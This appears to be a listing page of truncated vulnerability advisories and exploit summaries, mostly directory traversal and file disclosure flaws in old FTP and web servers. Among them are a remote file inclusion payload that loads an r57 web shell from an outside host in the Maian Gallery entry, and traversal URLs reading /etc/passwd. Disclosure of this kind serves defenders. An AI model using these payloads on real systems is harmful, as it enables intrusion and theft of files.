Maian Gallery v1.0

Script Name : Maian Gallery v1.0 Download : http://www.maianscriptworld.co.uk/freestuff1975gallery.html Coded by : KaRTaL Contact : k4rtalatgmaildot.com Include : include$pathtofolder.'lib/Savant2.php'; Exploit : index.php?pathtofolder=http://sheladresin.com/r57.txt?cmd=id Special Thankxz : D3ngs...

OpenConnect WebConnect 6.4/6.5 - jretest.html Traversal Arbitrary File Access

source: https://www.securityfocus.com/bid/12613/info OpenConnect WebConnect is reported prone to multiple vulnerabilities. The following individual issues are reported: WebConnect is reported prone to a remote denial of service vulnerability. A remote attacker may exploit this vulnerability to...

[Full-Disclosure] Administrivia: List Compromised due to Mailman Vulnerability

Hi On 7th February 2005 I was notified of a number of potentially - compromised Full-Disclosure subscriber accounts. Following an investigation it appears that the Mailman configuration database was obtained from lists.netsys.com on 2nd January 2005 using a remote directory traversal exploit for ...

rsync Traversal Arbitrary File Creation

The remote rsync server might be vulnerable to a path traversal issue. An attacker may use this flaw to gain access to arbitrary files hosted outside of a module directory. C Tenable Network Security, Inc. include"compat.inc"; if description scriptid12230; scriptversion "1.15";...

Apache Cygwin 1.3.x2.0.x - Directory Traversal

Apache Cygwin 1.3.x2.0.x - Directory Traversal source: https://www.securityfocus.com/bid/9733/info It has been reported that Apache may be prone to a directory traversal vulnerability that may allow a remote attacker to access information outside the server root directory. This issue is only...

QuickFront 1.0 - File Disclosure

QuickFront 1.0 - File Disclosure source: https://www.securityfocus.com/bid/7308/info A vulnerability has been reported for QuickFront that will result in the disclosure of sensitive system resources to remote attackers. QuickFront does not properly sanitize user-supplied input. Specifically,...

PlatinumFTPServer 1.0.6 - Information Disclosure

PlatinumFTPServer 1.0.6 - Information Disclosure source: https://www.securityfocus.com/bid/6492/info It has been reported that PlatinumFTPserver fails to properly sanitize some FTP commands. By sending a malicious request to the vulnerable server, using directory traversal sequences, it is possib...

PlatinumFTPServer 1.0.6 - Arbitrary File Deletion

PlatinumFTPServer 1.0.6 - Arbitrary File Deletion source: https://www.securityfocus.com/bid/6493/info It has been reported that PlatinumFTPserver fails to properly sanitize some FTP commands. By sending a malicious request to the vulnerable server, using directory traversal sequences, it is...

RedHat Interchange 4.8.x - Arbitrary File Read

source: https://www.securityfocus.com/bid/5453/info A vulnerability has been reported for Interchange 4.8.5 and earlier. Reportedly, Interchange may disclose contents of files to attackers. The vulnerability occurs due to the placement of the 'doc' folder. Reportedly, the folder will be installed...

SERIOUS BUG IN PHPNUKE

Yes, phpnuke.org, was contacted.... First take a look at: http://phpnuke.org/user.php?op=userinfo&uname=MegaHz Then, read this................. PHPnuke Bugs. After testing just a few scripts on phpnuke I have noticed the following: Some fields in the registration form allow code and fail to filte...

SimpleServer:WWW Encoded Traversal Arbitrary Command Execution

By sending a specially encoded string to the remote server, it is possible to execute remote commands with the privileges of the server. This script was written by Mathieu Meadele Script audit and contributions from Carmichael Security Erik Anderson nb: domain no longer exists Added BugtraqID...

Security-issues with Icecast Version 1.3.7

Digit-Labs Security Advisory http://www.digit-labs.org/ Advisory Name: Security-issues with Icecast Version 1.3.7 Release Date: Application: Tested on Icecast Version 1.3.7 Platform: Windows 2000 Prof Severity: Medium Authors: GoLLuM.no mailto:[email protected] Vendor Status: Unknown Executiv...

Broker FTP Server 5.9.5.0 Buffer Overflow / DoS / Directory Traversal

Broker FTP Server 5.9.5.0 Buffer Overflow / DoS / Directory Traversal TESTED ON Broker FTP Server 5.9.5.0 on Windows 98, likely to work on NT / 2k DESCRIPTION 1 Buffer Overflow / DoS The DoS, which completely freezes the victim machine, can be triggered by repeatedly sending the following command...

Warftp 1.67b04 Directory Traversal

Overview: by adding a special formed argument to the dir command, it is possible to list the /../ directory. Detail: the command is the following: dir ./../.. Log: Verbindung mit 10.17.3.44 wurde hergestellt. 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.67- 04 Ready 220 Please enter your user name...

WhitSoft SlimServe ftpd 1.0/2.0 - Directory Traversal

source: https://www.securityfocus.com/bid/2452/info SlimServ FTPd is a free ftp server distributed and maintained by WhitSoft Development. SlimServe FTPd is designed to offer ftp services to the Microsoft Windows platform. A problem with the SlimSoft FTP daemon allows remote users to traverse...

soft lite serverworx 3.0 - Directory Traversal

source: https://www.securityfocus.com/bid/2346/info It is possible for a remote user to gain read access to directories and files outside the root directory of ServerWorx. Requesting a specially crafted URL composed of '../' or '.../' sequences will disclose an arbitrary directory...

Guido Frassetto SEDUM HTTP Server 2.0 - Directory Traversal

Guido Frassetto SEDUM HTTP Server 2.0 - Directory Traversal source: https://www.securityfocus.com/bid/2335/info A remote user could gain read access to known files outside of the root directory in a SEDUM HTTP Server. Requesting a specially crafted URL composed of '../' or '.../' sequences will...

iweb hyperseek 2000 - Directory Traversal

source: https://www.securityfocus.com/bid/2314/info A specially crafted URL, composed of '../' and '%00', will disclose the directory listing and files of the target with read permissions. http://target/cgi-bin/suche/hsx.cgi?show=../../../../../../../etc/passwd%00...

CVE-2000-1176

Directory traversal vulnerability in YaBB search.pl CGI script allows remote attackers to read arbitrary files via a .. dot dot attack in the "catsearch" form field...

Cat Soft Serv-U FTP Server 2.4/2.5 - FTP Directory Traversal

source: https://www.securityfocus.com/bid/2052/info FTP Serv-U is an internet FTP server from CatSoft. Authenticated users can gain access to the ftproot of the drive where Serv-U FTP has been installed. Users that have read, write, execute and list access in the home directory will have the same...